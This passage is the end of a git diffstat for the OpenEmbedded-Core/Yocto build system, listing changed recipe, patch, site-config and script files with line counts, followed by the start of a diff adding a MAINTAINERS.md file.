-rw-r--r--meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch25
-rw-r--r--meta/recipes-sato/puzzles/puzzles_git.bb49
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc18
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb8
-rw-r--r--meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb8
-rw-r--r--meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb6
-rw-r--r--meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb6
-rw-r--r--meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb2
-rw-r--r--meta/recipes-sato/webkit/libwpe_1.12.0.bb18
-rw-r--r--meta/recipes-sato/webkit/libwpe_1.8.0.bb17
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch14
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch2
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-with-musl.patch75
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-build-without-opengl-or-es.patch133
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch16
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-ICU-68.1-no-longer-exposes-FALSE-and-TRUE-macros-by-.patch180
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch2
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/include_array.patch15
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/include_xutil.patch24
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/musl-lower-stack-usage.patch77
-rw-r--r--meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch28
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.30.2.bb136
-rw-r--r--meta/recipes-sato/webkit/webkitgtk_2.34.2.bb166
-rw-r--r--meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb24
-rw-r--r--meta/recipes-sato/webkit/wpebackend-fdo_1.8.0.bb17
-rw-r--r--meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch3
-rw-r--r--meta/recipes-support/apr/apr-util_1.6.1.bb31
-rw-r--r--meta/recipes-support/apr/apr/CVE-2021-35940.patch58
-rw-r--r--meta/recipes-support/apr/apr/autoconf270.patch22
-rw-r--r--meta/recipes-support/apr/apr_1.7.0.bb26
-rw-r--r--meta/recipes-support/argp-standalone/argp-standalone_1.3.bb5
-rw-r--r--meta/recipes-support/aspell/aspell_0.60.8.bb31
-rw-r--r--meta/recipes-support/aspell/files/CVE-2019-25051.patch101
-rw-r--r--meta/recipes-support/atk/at-spi2-atk_2.38.0.bb6
-rw-r--r--meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch33
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.38.0.bb35
-rw-r--r--meta/recipes-support/atk/at-spi2-core_2.42.0.bb41
-rw-r--r--meta/recipes-support/atk/atk_2.36.0.bb1
-rw-r--r--meta/recipes-support/attr/acl_2.2.53.bb74
-rw-r--r--meta/recipes-support/attr/acl_2.3.1.bb78
-rw-r--r--meta/recipes-support/attr/attr.inc12
-rw-r--r--meta/recipes-support/attr/attr_2.4.48.bb6
-rw-r--r--meta/recipes-support/attr/attr_2.5.1.bb5
-rw-r--r--meta/recipes-support/bash-completion/bash-completion_2.11.bb13
-rw-r--r--meta/recipes-support/bmap-tools/bmap-tools_3.5.bb25
-rw-r--r--meta/recipes-support/bmap-tools/bmap-tools_3.6.bb26
-rw-r--r--meta/recipes-support/boost/boost-1.74.0.inc20
-rw-r--r--meta/recipes-support/boost/boost-1.78.0.inc20
-rw-r--r--meta/recipes-support/boost/boost-build-native_4.3.0.bb25
-rw-r--r--meta/recipes-support/boost/boost-build-native_4.4.1.bb27
-rw-r--r--meta/recipes-support/boost/boost.inc47
-rw-r--r--meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch100
-rw-r--r--meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch15
-rw-r--r--meta/recipes-support/boost/boost/0001-fiber-libs-Define-SYS_futex-if-it-does-not-exist.patch54
-rw-r--r--meta/recipes-support/boost/boost/arm-intrinsics.patch55
-rw-r--r--meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch30
-rw-r--r--meta/recipes-support/boost/boost_1.74.0.bb11
-rw-r--r--meta/recipes-support/boost/boost_1.78.0.bb9
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch80
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch37
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch20
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch34
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20200601.bb91
-rw-r--r--meta/recipes-support/ca-certificates/ca-certificates_20211016.bb89
-rw-r--r--meta/recipes-support/consolekit/consolekit_0.4.6.bb14
-rw-r--r--meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch44
-rw-r--r--meta/recipes-support/curl/curl_7.73.0.bb85
-rw-r--r--meta/recipes-support/curl/curl_7.80.0.bb88
-rw-r--r--meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch2
-rw-r--r--meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch2
-rw-r--r--meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch2
-rw-r--r--meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch2
-rw-r--r--meta/recipes-support/db/db/fix-parallel-build.patch2
-rw-r--r--meta/recipes-support/db/db/sequence-type.patch2
-rw-r--r--meta/recipes-support/db/db_5.3.28.bb21
-rw-r--r--meta/recipes-support/debianutils/debianutils_4.11.2.bb55
-rw-r--r--meta/recipes-support/debianutils/debianutils_5.5.bb60
-rw-r--r--meta/recipes-support/diffoscope/diffoscope_161.bb17
-rw-r--r--meta/recipes-support/diffoscope/diffoscope_196.bb30
-rw-r--r--meta/recipes-support/dos2unix/dos2unix_7.4.2.bb4
-rw-r--r--meta/recipes-support/enchant/enchant2_2.2.13.bb28
-rw-r--r--meta/recipes-support/enchant/enchant2_2.3.2.bb31
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.10.bb17
-rw-r--r--meta/recipes-support/fribidi/fribidi_1.0.11.bb22
-rw-r--r--meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch47
-rw-r--r--meta/recipes-support/gdbm/files/ptest.patch18
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.18.1.bb44
-rw-r--r--meta/recipes-support/gdbm/gdbm_1.22.bb45
-rw-r--r--meta/recipes-support/gmp/gmp.inc4
-rw-r--r--meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch2
-rw-r--r--meta/recipes-support/gmp/gmp/cve-2021-43618.patch27
-rw-r--r--meta/recipes-support/gmp/gmp_6.2.1.bb9
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch31
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb18
-rw-r--r--meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb24
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch105
-rw-r--r--meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch6
-rw-r--r--meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch73
-rw-r--r--meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch13
-rw-r--r--meta/recipes-support/gnupg/gnupg/relocate.patch93
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.2.23.bb80
-rw-r--r--meta/recipes-support/gnupg/gnupg_2.3.3.bb85
-rw-r--r--meta/recipes-support/gnutls/gnutls/arm_eabi.patch15
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.6.15.bb67
-rw-r--r--meta/recipes-support/gnutls/gnutls_3.7.2.bb69
-rw-r--r--meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch26
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.16.0.bb22
-rw-r--r--meta/recipes-support/gnutls/libtasn1_4.18.0.bb23
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch8
-rw-r--r--meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch24
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.15.0.bb88
-rw-r--r--meta/recipes-support/gpgme/gpgme_1.16.0.bb87
-rw-r--r--meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch12
-rw-r--r--meta/recipes-support/icu/icu_68.1.bb150
-rw-r--r--meta/recipes-support/icu/icu_70.1.bb150
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.5.0.bb19
-rw-r--r--meta/recipes-support/iso-codes/iso-codes_4.8.0.bb22
-rw-r--r--meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch8
-rw-r--r--meta/recipes-support/itstool/itstool_2.0.6.bb21
-rw-r--r--meta/recipes-support/itstool/itstool_2.0.7.bb24
-rw-r--r--meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch27
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.4.bb35
-rw-r--r--meta/recipes-support/libassuan/libassuan_2.5.5.bb38
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb22
-rw-r--r--meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb22
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.10.0.bb42
-rw-r--r--meta/recipes-support/libbsd/libbsd_0.11.3.bb43
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb28
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng-python_0.8.bb29
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng.inc9
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/determinism.patch59
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng/python.patch60
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb17
-rw-r--r--meta/recipes-support/libcap-ng/libcap-ng_0.8.bb17
-rw-r--r--meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch34
-rw-r--r--meta/recipes-support/libcap/files/0001-tests-do-not-statically-link-a-test.patch36
-rw-r--r--meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch16
-rw-r--r--meta/recipes-support/libcap/libcap_2.44.bb76
-rw-r--r--meta/recipes-support/libcap/libcap_2.62.bb76
-rw-r--r--meta/recipes-support/libcheck/libcheck_0.15.2.bb11
-rw-r--r--meta/recipes-support/libcroco/files/CVE-2020-12825.patch192
-rw-r--r--meta/recipes-support/libcroco/libcroco_0.6.13.bb6
-rw-r--r--meta/recipes-support/libdaemon/libdaemon_0.14.bb4
-rw-r--r--meta/recipes-support/libevdev/libevdev/determinism.patch43
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.10.0.bb15
-rw-r--r--meta/recipes-support/libevdev/libevdev_1.12.0.bb17
-rw-r--r--meta/recipes-support/libevent/libevent/0002-test-regress.h-Increase-default-timeval-tolerance-50.patch33
-rw-r--r--meta/recipes-support/libevent/libevent/0003-test-mark-util-monotonic_prc_fallback-as-retriable.patch28
-rw-r--r--meta/recipes-support/libevent/libevent/0004-test-retriable-tests-are-marked-failed-only-when-all-a.patch81
-rw-r--r--meta/recipes-support/libevent/libevent/run-ptest10
-rw-r--r--meta/recipes-support/libevent/libevent_2.1.12.bb16
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.22.bb21
-rw-r--r--meta/recipes-support/libexif/libexif_0.6.24.bb24
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch34
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch27
-rw-r--r--meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch27
-rw-r--r--meta/recipes-support/libffi/libffi/0001-arm-sysv-reverted-clang-VFP-mitigation.patch104
-rw-r--r--meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch62
-rw-r--r--meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch38
-rw-r--r--meta/recipes-support/libffi/libffi_3.3.bb41
-rw-r--r--meta/recipes-support/libffi/libffi_3.4.2.bb36
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.1.bb23
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.2.bb23
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch2
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch2
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.1.bb54
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.2.bb55
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch41
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch90
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch9
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch332
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch16
-rw-r--r--meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch178
-rw-r--r--meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch21
-rw-r--r--meta/recipes-support/libgcrypt/files/determinism.patch32
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.8.7.bb57
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb61
-rw-r--r--meta/recipes-support/libgit2/libgit2_1.3.0.bb22
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/0001-configure.ac-do-not-hardcode-gnu-libc-when-generatin.patch27
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch145
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.39.bb40
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.43.bb42
-rw-r--r--meta/recipes-support/libical/libical/0001-Fix-build-with-icu-68.1.patch81
-rw-r--r--meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch33
-rw-r--r--meta/recipes-support/libical/libical_3.0.12.bb48
-rw-r--r--meta/recipes-support/libical/libical_3.0.8.bb46
-rw-r--r--meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch30
-rw-r--r--meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch56
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb29
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb30
-rw-r--r--meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch18
-rw-r--r--meta/recipes-support/libksba/libksba_1.4.0.bb29
-rw-r--r--meta/recipes-support/libksba/libksba_1.6.0.bb34
-rw-r--r--meta/recipes-support/libmd/libmd_1.0.4.bb16
-rw-r--r--meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.73.bb31
-rw-r--r--meta/recipes-support/libnl/files/enable-serial-tests.patch29
-rwxr-xr-xmeta/recipes-support/libnl/files/run-ptest16
-rw-r--r--meta/recipes-support/libnl/libnl_3.5.0.bb61
-rw-r--r--meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch41
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.35.bb52
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.39.bb54
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.44.bb75
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.45.bb73
-rw-r--r--meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch31
-rw-r--r--meta/recipes-support/libproxy/libproxy/CVE-2020-25219.patch61
-rw-r--r--meta/recipes-support/libproxy/libproxy/CVE-2020-26154.patch98
-rw-r--r--meta/recipes-support/libproxy/libproxy/determinism.patch26
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.4.15.bb41
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.4.17.bb42
-rw-r--r--meta/recipes-support/libpsl/libpsl_0.21.1.bb13
-rw-r--r--meta/recipes-support/libseccomp/files/run-ptest4
-rw-r--r--meta/recipes-support/libseccomp/libseccomp_2.5.3.bb54
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.72.0.bb42
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.74.2.bb46
-rw-r--r--meta/recipes-support/libsoup/libsoup_3.0.3.bb44
-rw-r--r--meta/recipes-support/libssh2/files/0001-Don-t-let-host-enviroment-to-decide-if-a-test-is-bui.patch44
-rw-r--r--meta/recipes-support/libssh2/files/run-ptest9
-rw-r--r--meta/recipes-support/libssh2/libssh2_1.10.0.bb50
-rw-r--r--meta/recipes-support/libunistring/libunistring/0001-Make-gl_INIT_PACKAGE-work-with-Automake-1.16.4.patch57
-rw-r--r--meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch56
-rw-r--r--meta/recipes-support/libunistring/libunistring_0.9.10.bb3
-rw-r--r--meta/recipes-support/libunwind/libunwind.inc9
-rw-r--r--meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch62
-rw-r--r--meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch19
-rw-r--r--meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch16
-rw-r--r--meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch13
-rw-r--r--meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch4
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.5.0.bb23
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.6.2.bb24
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.12.1.bb22
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.13.0.bb25
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.23.bb44
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.24.bb45
-rw-r--r--meta/recipes-support/libxslt/libxslt_1.1.34.bb21
-rw-r--r--meta/recipes-support/libyaml/libyaml_0.2.5.bb3
-rw-r--r--meta/recipes-support/lz4/files/CVE-2021-3520.patch27
-rw-r--r--meta/recipes-support/lz4/files/run-ptest43
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.2.bb30
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.3.bb31
-rw-r--r--meta/recipes-support/lzo/lzo_2.10.bb4
-rw-r--r--meta/recipes-support/lzop/lzop_1.04.bb3
-rw-r--r--meta/recipes-support/mpfr/mpfr_4.1.0.bb1
-rw-r--r--meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch (renamed from meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch (renamed from meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/dlopen-test.patch (renamed from meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/run-ptest (renamed from meta/recipes-support/nettle/nettle-3.6/run-ptest)0
-rw-r--r--meta/recipes-support/nettle/nettle_3.6.bb54
-rw-r--r--meta/recipes-support/nettle/nettle_3.7.3.bb57
-rw-r--r--meta/recipes-support/nghttp2/nghttp2/0001-fetch-ocsp-response-use-python3.patch27
-rw-r--r--meta/recipes-support/nghttp2/nghttp2_1.46.0.bb35
-rw-r--r--meta/recipes-support/npth/npth/0001-Revert-Fix-problem-with-regression-tests-on-recent-g.patch43
-rw-r--r--meta/recipes-support/npth/npth_1.6.bb8
-rw-r--r--meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb6
-rw-r--r--meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch2
-rw-r--r--meta/recipes-support/numactl/numactl_git.bb8
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.23.21.bb29
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.24.0.bb32
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch100
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch153
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.0/gpg-error_pkconf.patch195
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.0/libassuan_pkgconf.patch170
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.1.0.bb37
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.2.0.bb36
-rw-r--r--meta/recipes-support/popt/popt_1.18.bb1
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb29
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb34
-rw-r--r--meta/recipes-support/re2c/re2c_2.0.3.bb14
-rw-r--r--meta/recipes-support/re2c/re2c_2.2.bb16
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/0001-Adding-ability-to-detect-non-posix-extensions-for-pt.patch41
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/0001-rngd-fix-debug-to-also-filter-syslog-calls.patch46
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/0002-Allow-for-use-of-either-pthread-affinity-set-methods.patch47
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch42
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch51
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/rngd.service1
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.10.bb63
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.14.bb61
-rw-r--r--meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch28
-rw-r--r--meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch2
-rw-r--r--meta/recipes-support/serf/serf_1.3.9.bb11
-rw-r--r--meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch70
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info_git.bb17
-rw-r--r--meta/recipes-support/sqlite/sqlite3.inc19
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.33.0.bb12
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.37.0.bb14
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2017-12678.patch40
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2018-11439.patch51
-rw-r--r--meta/recipes-support/taglib/taglib_1.11.1.bb44
-rw-r--r--meta/recipes-support/taglib/taglib_1.12.bb42
-rw-r--r--meta/recipes-support/user-creation/xuser-account_0.1.bb6
-rw-r--r--meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch13
-rw-r--r--meta/recipes-support/vim/files/disable_acl_header_check.patch17
-rw-r--r--meta/recipes-support/vim/files/no-path-adjust.patch8
-rw-r--r--meta/recipes-support/vim/files/racefix.patch33
-rw-r--r--meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch13
-rw-r--r--meta/recipes-support/vim/vim.inc55
-rw-r--r--meta/recipes-support/vim/vim_8.2.bb8
-rw-r--r--meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch15
-rw-r--r--meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch24
-rw-r--r--meta/recipes-support/vte/vte_0.62.1.bb57
-rw-r--r--meta/recipes-support/vte/vte_0.66.2.bb62
-rw-r--r--meta/recipes-support/xxhash/xxhash_0.8.1.bb25
-rw-r--r--meta/site/arm-3214
-rw-r--r--meta/site/arm-6414
-rw-r--r--meta/site/arm-common3
-rw-r--r--meta/site/common-linux3
-rw-r--r--meta/site/common-musl2
-rw-r--r--meta/site/ix86-common17
-rw-r--r--meta/site/mips-common14
-rw-r--r--meta/site/mips-linux3
-rw-r--r--meta/site/mips64-linux3
-rw-r--r--meta/site/mips64el-linux3
-rw-r--r--meta/site/mipsel-linux3
-rw-r--r--meta/site/mipsisa32r6-linux3
-rw-r--r--meta/site/mipsisa32r6el-linux3
-rw-r--r--meta/site/mipsisa64r6-linux3
-rw-r--r--meta/site/mipsisa64r6el-linux3
-rw-r--r--meta/site/nios2-linux18
-rw-r--r--meta/site/powerpc32-linux17
-rw-r--r--meta/site/sh-common17
-rw-r--r--meta/site/x86_64-linux17
-rwxr-xr-xscripts/autobuilder-worker-prereq-tests5
-rwxr-xr-xscripts/bitbake-whatchanged2
-rwxr-xr-xscripts/buildhistory-collect-srcrevs6
-rwxr-xr-xscripts/combo-layer2
-rwxr-xr-xscripts/contrib/convert-overrides.py144
-rwxr-xr-xscripts/contrib/convert-srcuri.py77
-rwxr-xr-xscripts/contrib/documentation-audit.sh2
-rwxr-xr-xscripts/contrib/image-manifest523
-rwxr-xr-xscripts/contrib/list-packageconfig-flags.py2
l---------scripts/cross-intercept/ar1
-rwxr-xr-xscripts/crosstap6
-rwxr-xr-xscripts/devtool2
-rwxr-xr-xscripts/gen-lockedsig-cache3
-rw-r--r--scripts/lib/build_perf/report.py3
-rw-r--r--scripts/lib/checklayer/__init__.py11
-rw-r--r--scripts/lib/checklayer/cases/common.py13
-rw-r--r--scripts/lib/devtool/build_image.py2
-rw-r--r--scripts/lib/devtool/deploy.py2
-rw-r--r--scripts/lib/devtool/sdk.py2
-rw-r--r--scripts/lib/devtool/search.py5
-rw-r--r--scripts/lib/devtool/standard.py73
-rw-r--r--scripts/lib/devtool/upgrade.py58
-rw-r--r--scripts/lib/recipetool/append.py12
-rw-r--r--scripts/lib/recipetool/create.py257
-rw-r--r--scripts/lib/recipetool/create_buildsys.py3
-rw-r--r--scripts/lib/recipetool/create_buildsys_python.py14
-rw-r--r--scripts/lib/recipetool/create_kmod.py2
-rw-r--r--scripts/lib/recipetool/create_npm.py66
-rw-r--r--scripts/lib/recipetool/licenses.csv37
-rw-r--r--scripts/lib/scriptutils.py3
-rw-r--r--scripts/lib/wic/engine.py6
-rw-r--r--scripts/lib/wic/help.py10
-rw-r--r--scripts/lib/wic/ksparser.py25
-rw-r--r--scripts/lib/wic/misc.py12
-rw-r--r--scripts/lib/wic/partition.py105
-rw-r--r--scripts/lib/wic/plugins/imager/direct.py72
-rw-r--r--scripts/lib/wic/plugins/source/bootimg-efi.py74
-rw-r--r--scripts/lib/wic/plugins/source/bootimg-pcbios.py6
-rw-r--r--scripts/lib/wic/plugins/source/empty.py32
-rw-r--r--scripts/lib/wic/plugins/source/rawcopy.py6
-rw-r--r--scripts/lib/wic/plugins/source/rootfs.py33
-rwxr-xr-xscripts/lnr24
-rwxr-xr-xscripts/native-intercept/ar32
-rwxr-xr-xscripts/nativesdk-intercept/chgrp27
-rwxr-xr-xscripts/nativesdk-intercept/chown27
-rwxr-xr-xscripts/oe-buildenv-internal4
-rwxr-xr-xscripts/oe-check-sstate4
-rwxr-xr-xscripts/oe-debuginfod26
-rwxr-xr-xscripts/oe-pkgdata-browser8
-rwxr-xr-xscripts/oe-pkgdata-util48
-rwxr-xr-xscripts/oe-publish-sdk4
-rwxr-xr-xscripts/oe-run-native2
-rwxr-xr-xscripts/oe-setup-builddir4
-rwxr-xr-xscripts/oe-time-dd-test.sh102
-rwxr-xr-xscripts/oepydevshell-internal.py2
-rw-r--r--scripts/pybootchartgui/pybootchartgui/draw.py7
-rwxr-xr-xscripts/runqemu243
-rwxr-xr-xscripts/sstate-cache-management.sh40
-rwxr-xr-xscripts/sstate-diff-machines.sh4
-rwxr-xr-xscripts/verify-bashisms2
-rwxr-xr-xscripts/wic8
-rwxr-xr-xscripts/yocto-check-layer30
3324 files changed, 119520 insertions, 219016 deletions
diff --git a/MAINTAINERS.md b/MAINTAINERS.md
new file mode 100644
index 0000000000..36a9bde90c
--- /dev/null
+++ b/MAINTAINERS.md
@@ -0,0 +1,72 @@
+OpenEmbedded-Core and Yocto Project Maintainer Information
+==========================================================
+
